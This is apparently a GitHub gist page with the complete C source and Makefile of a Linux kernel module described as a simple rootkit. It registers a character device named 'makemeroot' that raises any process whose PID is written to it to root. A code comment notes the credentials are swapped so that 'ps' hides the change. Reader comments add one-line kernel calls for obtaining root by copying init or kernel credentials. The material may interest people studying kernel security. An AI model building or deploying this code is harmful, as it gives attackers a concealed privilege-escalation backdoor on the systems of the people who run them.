Last active
April 21, 2025 13:45
-
-
Save vkobel/4aa86ee942f8e617cba2ed3cfdadce11 to your computer and use it in GitHub Desktop.
Simple "rootkit" kernel module (tested with Linux 5.6.3) that adds a device handler taking a PID and upgrade it to root (example in the comments below)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/module.h> | |
#include <linux/kernel.h> | |
#include <linux/cred.h> | |
#include <linux/fs.h> | |
MODULE_LICENSE("GPL"); | |
struct task_struct *get_task_struct_by_pid(unsigned pid) | |
{ | |
struct pid *proc_pid = find_vpid(pid); | |
struct task_struct *task; | |
if(!proc_pid) | |
return 0; | |
task = pid_task(proc_pid, PIDTYPE_PID); | |
return task; | |
} | |
static int make_pid_root(unsigned pid) | |
{ | |
struct task_struct *task; | |
struct cred *new_cred; | |
kuid_t kuid = KUIDT_INIT(0); | |
kgid_t kgid = KGIDT_INIT(0); | |
task = get_task_struct_by_pid(pid); | |
if (task == NULL) { | |
printk("Failed to get current task info.\n"); | |
return -1; | |
} | |
new_cred = prepare_creds(); | |
if (new_cred == NULL) { | |
printk("Failed to prepare new credentials\n"); | |
return -ENOMEM; | |
} | |
new_cred->uid = kuid; | |
new_cred->gid = kgid; | |
new_cred->euid = kuid; | |
new_cred->egid = kgid; | |
// Dirty creds assignment so "ps" doesn't show the root uid! | |
// If one uses commit_creds(new_cred), not only this would only affect | |
// the current calling task but would also display the new uid (more visible). | |
// rcu_assign_pointer is taken from the commit_creds source code (kernel/cred.c) | |
rcu_assign_pointer(task->cred, new_cred); | |
printk("PID %d is now root!\n", pid); | |
return 0; | |
} | |
static ssize_t device_file_write(struct file *file_ptr, const char __user *user_buffer, size_t count, loff_t *position) | |
{ | |
char* dummy; | |
int result; | |
unsigned pid = (int) simple_strtol(user_buffer, &dummy, 10); | |
result = make_pid_root(pid); | |
if (result < 0){ | |
printk(KERN_ALERT "Failed to change PID credentials!\n"); | |
} | |
return count; | |
} | |
static struct file_operations file_ops = { | |
.owner = THIS_MODULE, | |
.write = device_file_write, | |
}; | |
static int major_number = 0; | |
static const char device_name[] = "makemeroot"; | |
static int __init register_device(void) | |
{ | |
major_number = register_chrdev(0, device_name, &file_ops); | |
if (major_number < 0) { | |
printk(KERN_ALERT "Registering char device failed with %d\n", major_number); | |
return major_number; | |
} | |
printk(KERN_NOTICE "%s: registered character device with major number = %i\n", device_name, major_number); | |
return 0; | |
} | |
static void __exit unregister_device(void) | |
{ | |
printk(KERN_NOTICE "%s: unregister_device() is called\n", device_name); | |
if(major_number != 0){ | |
unregister_chrdev(major_number, device_name); | |
} | |
} | |
static int my_init(void) | |
{ | |
int result = 0; | |
printk(KERN_NOTICE "%s: Initialization started\n", device_name); | |
result = register_device(); | |
return result; | |
} | |
static void my_exit(void) | |
{ | |
unregister_device(); | |
} | |
module_init(my_init); | |
module_exit(my_exit); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
obj-m += rootkit.o | |
all: | |
make -C ~/linux-source M=$(PWD) modules | |
clean: | |
make -C ~/linux-source M=$(PWD) clean |
also...
this module does not work if the root user writes another process pid in /dev/makeroot
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
A one liner to get root:
just copy creds from init process :D
commit_creds(prepare_kernel_cred(pid_task(find_vpid(1), PIDTYPE_PID)));
or impersonate kernel:
commit_creds(prepare_kernel_cred(pid_task(find_vpid(0), PIDTYPE_PID)));